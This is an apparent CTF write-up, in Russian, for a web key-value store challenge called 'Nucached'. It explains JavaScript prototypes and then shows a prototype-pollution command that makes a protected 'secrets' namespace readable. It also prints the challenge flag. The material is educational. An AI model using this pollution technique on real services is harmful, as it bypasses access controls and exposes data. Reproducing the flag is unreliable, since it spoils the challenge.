Skip to content
This repository has been archived by the owner on Jun 3, 2023. It is now read-only.

Latest commit

 

History

History
172 lines (132 loc) · 7.42 KB

WRITEUP.md

File metadata and controls

172 lines (132 loc) · 7.42 KB

Nucached: Write-up

Имеем веб-сервис, выглядящий как терминальчик, на котором можно вводить команды. Начнем с самого очевидного, что приходит в голову — help:

> help
nucached: a revolutionary alternative to memcached!
(c) 2003, Vasya Pupkin
Usage:
  help: Show this message
  get key: Show key key
  set key value: Set the value of key to value
  ls: List all keys
Nested key-value objects are supported, e.g. set a.b.c value.

По-видимому, это обычное key-value хранилище. Посмотрим, что там уже есть:

> ls
Store secrets (unreadable) = ???
Store main:
  main.hello = "Hello, world!"

Ага, понятненько. Убедимся, что мы вообще понимаем, как работают команды:

> get main.hello
"Hello, world!"

> get main
{"hello":"Hello, world!"}

Попробуем на удачу?

> get secrets
unreadable namespace secrets

> get secrets.flag
unreadable namespace secrets

По-видимому, так просто обойти защиту не получится. Пора обратиться к исходному коду.

Интересующий нас файл worker.js отвечает за чтение и запись, а также проверку разрешений. Проверка на unreadable namespace выглядит так:

if(!object[ns].readable) {
    return `<i>unreadable namespace</i> ${escapeHTML(ns)}\n`;
}

По умолчанию это свойство на secrets вообще не установлено:

const STORES = {
    secrets: {
        writable: true,
        value: {
            flag
        }
    },
    main: {
        readable: true,
        writable: true,
        value: {
            hello: "Hello, world!"
        }
    }
};

Гугля «js exploit change property» или «js exploit add property», можно достаточно быстро наткнуться на описание уязвимости prototype pollution.

Идея уязвимости заключается в следующем. ООП в JavaScript устроено так, что у каждого объекта x имеется свойство __proto__, которое также является объектом, и при чтении свойства x.someProperty, если свойство someProperty не установлено, вместо него читается x.__proto__.someProperty, при его отсутствии — x.__proto__.__proto__.someProperty и так далее. Соответственно, для того, чтобы создать класс, надо определить некоторый «базовый» объект, свойствами которого будут методы класса, а в конструкторе поставить этот базовый объект в качестве __proto__ объекта, содержащего методы конкретного инстанса класса. Например:

const BASE_CAT = {
    meow() {
        return `"Meow!!", says ${this.name}.`;
    }
};

function Cat(name) {
    const self = {__proto__: BASE_CAT};
    self.name = name;
    return self;
}

const cat = Cat("Mittens");
cat.meow();

Поскольку заводить на каждый класс сразу две переменные — BASE_CAT и Cat — неудобно, вместо BASE_CAT используют Cat.prototype (для этого свойство prototype установлено в {} по умолчанию у каждой функции):

function Cat(name) {
    const self = {__proto__: Cat.prototype};
    self.name = name;
    return self;
}

Cat.prototype.meow = function() {
    return `"Meow!!", says ${this.name}.`;
};

const cat = Cat("Mittens");
cat.meow();

Но поскольку это очень частый паттерн, в JavaScript есть оператор new, который делает ровно то, что описано в функции Cat, но более удобно: он создает объект {__proto__: Cat.Prototype} и подставляет его в качестве переменной this, а затем this возвращает. То есть код выше можно упростить до:

function Cat(name) {
    this.name = name;
}

Cat.prototype.meow = function() {
    return `"Meow!!", says ${this.name}.`;
};

const cat = new Cat("Mittens");
cat.meow();

Это действительно один из самых простых методов реализации ООП, но он плохо сочетается с другой особенностью JavaScript. Во многих языках, например, Python и C++, разделяются свойства, которые могут быть полями и методами, например dict.items() или std::vector::size(), и элементы, которые свои у каждой конкретной структуры данных, например, dict[key] и vector[index]. В JavaScript же свойство и элемент — это одно и то же, поэтому, если программа позволяет записать что-то в свойство __proto__, прототип объекта изменится. Это можно воспроизвести прямо в nucached:

> set main.test {"a": 1}
success

> set main.test.__proto__ {"b": 2}
success

> get main.test.a
1

> get main.test.b
2

> set main.test.__proto__ {}
success

> get main.test.b
non-existent

Однако ещё хуже, если можно переписать не свойство __proto__, а что-то внутри свойства __proto__, потому что это изменяет прототип всех объектов, наследующихся от того же самого родителя; но все объекты, создаваемые через {}, имеют общий прототип, поэтому если мы добавим поле readable внутри прототипа любого объекта, оно появится у вообще всех объектов, включая тот, который проверяется условием object[ns].readable:

> set main.__proto__.readable 1
success

> ls
Store secrets:
  secrets.flag = "ugra_now_go_patch_your_own_websites_bpzgfnr7bfnp"
  secrets.readable = 1
Store main:
  main.hello = "Hello, world!"
  main.test
    main.test.a = 1
    main.test.readable = 1
  main.readable = 1
Store readable (unwritable) = undefined

Уязвимость в данном случае заключается в том, что set не проверяет, не переписывает ли оно специальное поле __proto__. Другие поля, конечно, также могут быть опасными, если их можно заменить на что угодно (например, метод toString), поэтому при реализации алгоритмов десериализации надо быть очень осторожным.

Флаг: ugra_now_go_patch_your_own_websites_bpzgfnr7bfnp